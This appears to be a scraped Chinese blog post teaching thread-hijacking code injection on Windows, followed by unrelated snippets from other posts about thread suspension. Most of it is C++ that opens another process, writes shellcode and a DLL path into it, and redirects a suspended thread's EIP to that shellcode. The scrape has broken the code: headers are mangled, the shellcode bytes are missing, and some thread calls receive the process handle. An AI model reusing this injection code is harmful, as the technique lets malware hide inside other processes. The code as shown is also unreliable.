掛起執行緒注入

2021-10-06 06:02:36 字數 2090 閱讀 7333

掛起執行緒後,獲得執行緒當前的上下背景文。將其中的eip設定為我們shellcode的位址,執行完畢後再返回原本的eip

提權獲得執行緒的id  可以通過程序id createtoolhelp32snapshot(th32cs_snapthread,0); te32.th32ownerprocessid

通過執行緒id獲得執行緒控制代碼

在目標程序空間申請記憶體

通過suspendthread掛起執行緒

通過getthreadcontext獲得執行緒上下背景文 尤其是eip

構建shellcode

寫入記憶體

設定上下背景文eip我們shellcode所在記憶體

恢復執行緒

我這裡使用的是手動輸入的方式獲取程序id和執行緒id。

#include "stdafx.h"

#include #includeusing namespace std;

void createshellcode(int ret, int str, unsigned char** shellcode, int* shellcodesize)

; *shellcodesize = 22;

*shellcode = (unsigned char*)malloc(22);

memcpy(*shellcode, sc, 22);

}int _tmain(int argc, char* ar**)

processhandle = openprocess(process_all_access, false, processid);

if (null == processhandle)

suspendthread(threadhandle);

remote_dllstringptr = virtualallocex(processhandle, null, strlen(dllpath) + 1, mem_commit, page_readwrite);

printf("get eip\n");

ctx.contextflags = context_control;

getthreadcontext(threadhandle, &ctx);

printf("eip: %x\n", ctx.eip);

printf("建立shellcode\n");

createshellcode(ctx.eip, (int)remote_dllstringptr, &shellcode, &shellcodelength);

printf("allocating remote memory for shellcode\n");

remote_shellcodeptr = virtualallocex(processhandle, null, shellcodelength, mem_commit, page_execute_readwrite);

writeprocessmemory(processhandle, remote_dllstringptr, dllpath, strlen(dllpath) + 1, null);

writeprocessmemory(processhandle, remote_shellcodeptr, shellcode, shellcodelength, null);

printf("set eip\n");

ctx.eip = (dword)remote_shellcodeptr;

ctx.contextflags = context_control;

setthreadcontext(processhandle, &ctx);

printf("resumethread\n");

resumethread(processhandle);

sleep(8000);

virtualfreeex(processhandle, remote_dllstringptr, strlen(dllpath) + 1, mem_decommit);

virtualfreeex(processhandle, remote_shellcodeptr, shellcodelength, mem_decommit);

return 0;

}

python 主線程 掛起

有時我們需要掛起主線程,當io執行緒 滿足條件時 再執行。可以通過python中的event 事件 來實現該功能 import threading wake event threading.event 主線程,假如主線有個while迴圈 while true wake event.wait wake...

程序 執行緒 阻塞 掛起

阻塞與掛起 非同步訊息對列讀取 object 類中 wait,notify 與 notifyall 方法可以用來實現執行緒之間的排程,比如在阻塞佇列 blockingqueue 的實現中,如果隊列為空,則所有消費者執行緒進行阻塞 wait 如果某乙個時刻佇列中新新增了乙個元素,則需要喚醒某個或所有阻...

rtthread 主動掛起執行緒

程式清單 建立 啟動 掛起 恢復執行緒 這個例子會建立兩個動態執行緒 tid1和tid2有相同的優先順序,tid1執行緒中因無delay延時,start後tid1始終處於ready態,也正是因為這個前提,tid2才能夠成功將tid1掛起。現象 每隔20s 200ms 100 tid1被tid2掛起或...